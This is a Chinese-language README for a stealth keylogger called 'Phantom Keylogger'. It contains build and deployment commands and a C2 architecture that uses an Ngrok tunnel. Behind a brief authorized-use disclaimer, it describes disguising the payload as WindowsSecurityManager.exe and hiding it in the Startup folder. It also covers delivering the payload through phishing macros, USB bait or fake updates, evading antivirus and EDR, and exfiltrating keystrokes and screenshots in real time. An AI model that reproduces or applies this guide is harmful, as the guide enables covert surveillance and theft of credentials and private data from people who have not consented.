Phantom Keylogger

🎯 任务简报

Phantom Keylogger 是一款先进的支持隐身能力的按键与视觉情报收集系统。该工具以行动安全为首要目标，在经授权的红队演练中提供持久监控能力，同时在目标系统上保持最小痕迹。

⚠️ 行动规程

授权使用场景：
- 经授权的渗透测试操作
- 具备书面交战规则的红队演练
- 受控环境中的安全研究
- 防御性安全控制验证

禁止操作：
- 未经授权的监视活动
- 非法入侵或数据窃取
- 侵犯个人隐私
- 任何未经授权的攻击性操作

操作人员须对合规部署承担全部法律责任

🛡️ 行动能力

情报收集模块

• 按键拦截：先进的键盘捕获，支持特殊按键转换
• 视觉监控：按可配置的时间间隔自动截取屏幕
• 系统侦察：收集主机名、用户名及环境数据
• 持久化植入：具备自动恢复机制的持续监控

行动安全特性

• 零界面痕迹：对终端用户完全不可见
• 持久化机制：自动安装启动项
• 反取证：基于互斥锁的单实例保护
• 文件系统混淆：隐藏文件属性并使用合法命名

🚀 行动部署

阶段 1：命令与控制（C2）基础设施

# 1. Clone operational repository
git clone https://github.com/MattiaAlessi/phantom-keylogger
cd phantom-keylogger

# 2. Install operational dependencies
pip install -r requirements.txt

# 3. Deploy C2 server
python server.py

阶段 2：Payload 生成

# Generate stealth executable
python build.py

输出：dist/WindowsSecurityManager.exe

阶段 3：目标部署

投递方式：

• 钓鱼攻击：文档宏或伪造安装程序
• 物理接触：USB 诱饵攻击
• 横向移动：利用被攻陷的内部共享
• 社会工程学：伪造软件更新

阶段 4：可视化工具

# Start the GUI interface 
python manager.py

🔧 技术规格

架构概览

┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│   TARGET        │    │   C2 TUNNEL      │    │   OPERATOR      │
│                 │    │                  │    │                 │
│  ┌─────────────┐│    │  ┌─────────────┐ │    │  ┌─────────────┐│
│  │ Stealth     ││    │  │ Ngrok       │ │    │  │ Management  ││
│  │ Keylogger   ├───────►│ Tunnel      ├───────►│ Console      ││
│  │             ││    │  │             │ │    │  │             ││
│  └─────────────┘│    │  └─────────────┘ │    │  └─────────────┘│
└─────────────────┘    └──────────────────┘    └─────────────────┘

持久化机制

启动文件夹：%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
在运行对话框（Win+R）中输入 shell:startup 即可轻松访问
文件名：WindowsSecurityManager.exe
属性：隐藏系统文件

🛡️ 防御规避技术

AV/EDR 绕过方法

• 合法命名：使用与 Windows 安全相关的名称
• 行为混淆：模拟正常系统进程模式
• 网络伪装：向看似合法的域名发送 HTTPS 流量
• 内存操作：无可疑 API 调用或注入

行动安全措施

• 无本地痕迹：所有数据均通过加密信道远程传输
• 标准工具链：仅使用常见且已列入白名单的 Python 库
• 干净退出流程：不留下崩溃转储或取证痕迹

📊 运行指标

• 检测规避：已成功通过多种安装有多款杀毒软件的安全解决方案的测试
• 数据外传：加密、实时传输至 C2
• 持续运行：具备自动恢复机制的持续监控